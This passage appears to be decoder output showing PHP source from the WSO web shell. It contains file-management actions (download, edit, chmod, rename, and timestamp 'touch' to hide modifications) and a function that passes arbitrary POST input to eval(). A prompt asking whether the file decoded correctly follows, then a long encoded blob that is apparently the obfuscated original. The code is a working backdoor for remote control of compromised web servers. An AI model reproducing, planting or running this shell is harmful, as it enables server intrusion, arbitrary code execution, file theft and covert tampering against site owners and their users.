        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	wsoFooter();
}

function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	wsoHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		wsoFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	wsoFooter();
} 

function actionPhp() {
	if(isset($_POST['ajax'])) {
        wsoSetCookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        wsoSetCookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'Console';

if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);

exit;
 //

Did this file decode correctly?

Original Code

$imgData = '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